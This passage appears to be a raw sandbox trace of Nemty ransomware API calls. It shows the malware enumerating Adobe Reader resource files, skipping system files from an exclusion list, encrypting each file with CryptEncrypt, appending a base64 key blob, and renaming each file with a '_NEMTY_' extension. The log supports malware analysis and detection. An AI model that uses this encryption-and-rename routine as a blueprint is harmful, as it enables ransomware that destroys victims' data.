hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.756] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0214.756] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0214.756] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0214.756] Sleep (dwMilliseconds=0x5) [0214.763] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x33a574f0, dwHighDateTime=0x1d561e8)) [0214.763] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x33a574f0, dwHighDateTime=0x1d561e8)) [0214.763] GetLastError () returned 0x0 [0214.763] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.763] GetLastError () returned 0x0 [0214.763] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0214.763] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.763] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0214.763] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0214.763] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0214.764] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0214.764] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0214.764] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e5dc | out: pszString="rjX16wcMe7pnQy8kHdDP1MLKpEr64+nQAjP2gxT+SEM0KDD4RoVlfjL4JM7mEzrX\r\nL26ITUVeTB4CLZc2oNqlacUrLrlsmuA017fL+fBfCpGh0qXigyrXlox8Y9WRXxPz\r\nLvaBf2rudC8C+HM802S5ClxIc16rXXbQN6UJtk3TVUz+yiNd9/SkyK2wMwvDG7Q9\r\nno+Y3mSxbQpFyv8L5z/nlti7Hy2UXmeiVqo/gvgKLuZLzX4WkBtAB/32w3ZFwNIX\r\nUCBj/Yeu5KazjTagHQ5AniNtEdd9NNv4srk1blD2dadm6Hmas+1eIErOC1dZ7z4d\r\nN8i7a4DKHhQiY+aiW2KmsA==\r\n", pcchString=0x653e5dc) returned 1 [0214.764] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0214.764] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0214.764] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0214.764] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0214.764] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0214.764] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0214.764] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_MA.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_ma.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0214.764] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=27798) returned 1 [0214.765] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6c90) returned 0x6352c48 [0214.765] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.765] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6c90, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6c90, lpOverlapped=0x0) returned 1 [0214.768] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.768] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6c90, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6c90, lpOverlapped=0x0) returned 1 [0214.768] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0214.768] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=27798, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6c96 [0214.768] WriteFile (in: hFile=0x2e8, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0214.769] CloseHandle (hObject=0x2e8) returned 1 [0214.769] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0214.769] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0214.769] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0214.769] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0214.769] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0214.769] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0214.769] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0214.769] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0214.769] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0214.769] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0214.769] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_MA.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_ma.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_MA.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_ma.txt._nemty_kgobjgd_")) returned 1 [0214.770] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0214.770] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0214.770] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0214.770] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0214.770] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0214.770] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0214.770] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0214.770] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0214.770] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0214.770] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.770] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f3b3c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c96, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.ar_OM.txt", cAlternateFileName="DIC553~1.TXT")) returned 1 [0214.770] lstrcmpiW (lpString1="DisplayLanguageNames.ar_OM.txt", lpString2=".") returned 1 [0214.770] lstrcmpiW (lpString1="DisplayLanguageNames.ar_OM.txt", lpString2="..") returned 1 [0214.770] lstrcmpiW (lpString1="DisplayLanguageNames.ar_OM.txt", lpString2="...") returned 1 [0214.770] lstrcmpiW (lpString1="DisplayLanguageNames.ar_OM.txt", lpString2="windows") returned -1 [0214.770] lstrcmpiW (lpString1="DisplayLanguageNames.ar_OM.txt", lpString2="$RECYCLE.BIN") returned 1 [0214.770] lstrcmpiW (lpString1="DisplayLanguageNames.ar_OM.txt", lpString2="rsa") returned -1 [0214.770] lstrcmpiW (lpString1="DisplayLanguageNames.ar_OM.txt", lpString2="NTDETECT.COM") returned -1 [0214.770] lstrcmpiW (lpString1="DisplayLanguageNames.ar_OM.txt", lpString2="ntldr") returned -1 [0214.770] lstrcmpiW (lpString1="DisplayLanguageNames.ar_OM.txt", lpString2="MSDOS.SYS") returned -1 [0214.770] lstrcmpiW (lpString1="DisplayLanguageNames.ar_OM.txt", lpString2="IO.SYS") returned -1 [0214.770] lstrcmpiW (lpString1="DisplayLanguageNames.ar_OM.txt", lpString2="boot.ini") returned 1 [0214.770] lstrcmpiW (lpString1="DisplayLanguageNames.ar_OM.txt", lpString2="boot.ini") returned 1 [0214.770] lstrcmpiW (lpString1="DisplayLanguageNames.ar_OM.txt", lpString2="AUTOEXEC.BAT") returned 1 [0214.770] lstrcmpiW (lpString1="DisplayLanguageNames.ar_OM.txt", lpString2="ntuser.dat") returned -1 [0214.770] lstrcmpiW (lpString1="DisplayLanguageNames.ar_OM.txt", lpString2="desktop.ini") returned 1 [0214.770] lstrcmpiW (lpString1="DisplayLanguageNames.ar_OM.txt", lpString2="CONFIG.SYS") returned 1 [0214.770] lstrcmpiW (lpString1="DisplayLanguageNames.ar_OM.txt", lpString2="RECYCLER") returned -1 [0214.770] lstrcmpiW (lpString1="DisplayLanguageNames.ar_OM.txt", lpString2="BOOTSECT.BAK") returned 1 [0214.770] lstrcmpiW (lpString1="DisplayLanguageNames.ar_OM.txt", lpString2="bootmgr") returned 1 [0214.771] lstrcmpiW (lpString1="DisplayLanguageNames.ar_OM.txt", lpString2="programdata") returned -1 [0214.771] lstrcmpiW (lpString1="DisplayLanguageNames.ar_OM.txt", lpString2="appdata") returned 1 [0214.771] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.771] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_OM.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0214.771] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.771] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_OM.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ar_OM.txt", lpUsedDefaultChar=0x0) returned 30 [0214.771] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.771] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0214.771] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_OM.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0214.771] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.771] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_OM.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ar_OM.txt", lpUsedDefaultChar=0x0) returned 30 [0214.771] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.771] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0214.771] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.771] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.771] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_OM.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0214.771] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.771] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_OM.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ar_OM.txt", lpUsedDefaultChar=0x0) returned 30 [0214.771] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.771] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.771] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_OM.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0214.771] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0214.771] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_OM.txt", cchWideChar=30, lpMultiByteStr=0x4f9ed08, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ar_OM.txt", lpUsedDefaultChar=0x0) returned 30 [0214.771] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.771] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0214.771] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0214.771] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0214.771] Sleep (dwMilliseconds=0x5) [0214.785] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x33a7d650, dwHighDateTime=0x1d561e8)) [0214.785] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x33a7d650, dwHighDateTime=0x1d561e8)) [0214.785] GetLastError () returned 0x0 [0214.785] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.785] GetLastError () returned 0x0 [0214.785] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0214.785] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.785] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0214.785] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0214.785] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0214.785] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0214.785] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0214.785] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e5dc | out: pszString="v3ZFDQEeDMwAlS7W2mYqsCHf0Om9oPSRnNXYij5p2lUoZF42xvxmgZ2mQOFsiyrc\r\nR/Tn3w8gplhX3arjmpXR4Pjwne4Vu/YN/c7AG7nstskpg/fnBBEhfqWQ9TpVQK2R\r\n7Y2+/S3QLX136hAUPPPsnAF7/Go3K46LVsrpHbzHqX4R+qih5dAZrW/+g6rqZrL8\r\nkPUDP955BpmFHDgpcieTY0tfoOGcdNX4kVZx3aB7NPOf46E0B9yDOqDRqRcWTonm\r\nXMtTXhQZDvqRjypHjDgB/XY50nFNPDuwifazPd1hO5SgJfMnEdGWCiwUuEEvE+hj\r\nRduc6YFHbltdkOxWoIXRxg==\r\n", pcchString=0x653e5dc) returned 1 [0214.785] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0214.785] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0214.785] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0214.785] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0214.785] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0214.786] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0214.786] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_OM.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_om.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0214.796] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=27798) returned 1 [0214.796] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6c90) returned 0x6352c48 [0214.796] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.796] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6c90, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6c90, lpOverlapped=0x0) returned 1 [0214.799] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.799] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6c90, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6c90, lpOverlapped=0x0) returned 1 [0214.799] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0214.799] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=27798, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6c96 [0214.799] WriteFile (in: hFile=0x2e8, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0214.800] CloseHandle (hObject=0x2e8) returned 1 [0214.800] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0214.800] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0214.800] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0214.800] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0214.800] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0214.800] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0214.800] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0214.800] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0214.800] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0214.800] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0214.800] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_OM.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_om.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_OM.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_om.txt._nemty_kgobjgd_")) returned 1 [0214.801] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0214.801] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0214.801] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0214.801] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0214.801] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0214.801] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0214.801] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0214.801] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0214.801] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0214.801] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.801] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f3b3c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c96, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.ar_QA.txt", cAlternateFileName="DI2F38~1.TXT")) returned 1 [0214.801] lstrcmpiW (lpString1="DisplayLanguageNames.ar_QA.txt", lpString2=".") returned 1 [0214.801] lstrcmpiW (lpString1="DisplayLanguageNames.ar_QA.txt", lpString2="..") returned 1 [0214.801] lstrcmpiW (lpString1="DisplayLanguageNames.ar_QA.txt", lpString2="...") returned 1 [0214.801] lstrcmpiW (lpString1="DisplayLanguageNames.ar_QA.txt", lpString2="windows") returned -1 [0214.801] lstrcmpiW (lpString1="DisplayLanguageNames.ar_QA.txt", lpString2="$RECYCLE.BIN") returned 1 [0214.801] lstrcmpiW (lpString1="DisplayLanguageNames.ar_QA.txt", lpString2="rsa") returned -1 [0214.801] lstrcmpiW (lpString1="DisplayLanguageNames.ar_QA.txt", lpString2="NTDETECT.COM") returned -1 [0214.801] lstrcmpiW (lpString1="DisplayLanguageNames.ar_QA.txt", lpString2="ntldr") returned -1 [0214.801] lstrcmpiW (lpString1="DisplayLanguageNames.ar_QA.txt", lpString2="MSDOS.SYS") returned -1 [0214.801] lstrcmpiW (lpString1="DisplayLanguageNames.ar_QA.txt", lpString2="IO.SYS") returned -1 [0214.801] lstrcmpiW (lpString1="DisplayLanguageNames.ar_QA.txt", lpString2="boot.ini") returned 1 [0214.801] lstrcmpiW (lpString1="DisplayLanguageNames.ar_QA.txt", lpString2="boot.ini") returned 1 [0214.801] lstrcmpiW (lpString1="DisplayLanguageNames.ar_QA.txt", lpString2="AUTOEXEC.BAT") returned 1 [0214.801] lstrcmpiW (lpString1="DisplayLanguageNames.ar_QA.txt", lpString2="ntuser.dat") returned -1 [0214.801] lstrcmpiW (lpString1="DisplayLanguageNames.ar_QA.txt", lpString2="desktop.ini") returned 1 [0214.801] lstrcmpiW (lpString1="DisplayLanguageNames.ar_QA.txt", lpString2="CONFIG.SYS") returned 1 [0214.801] lstrcmpiW (lpString1="DisplayLanguageNames.ar_QA.txt", lpString2="RECYCLER") returned -1 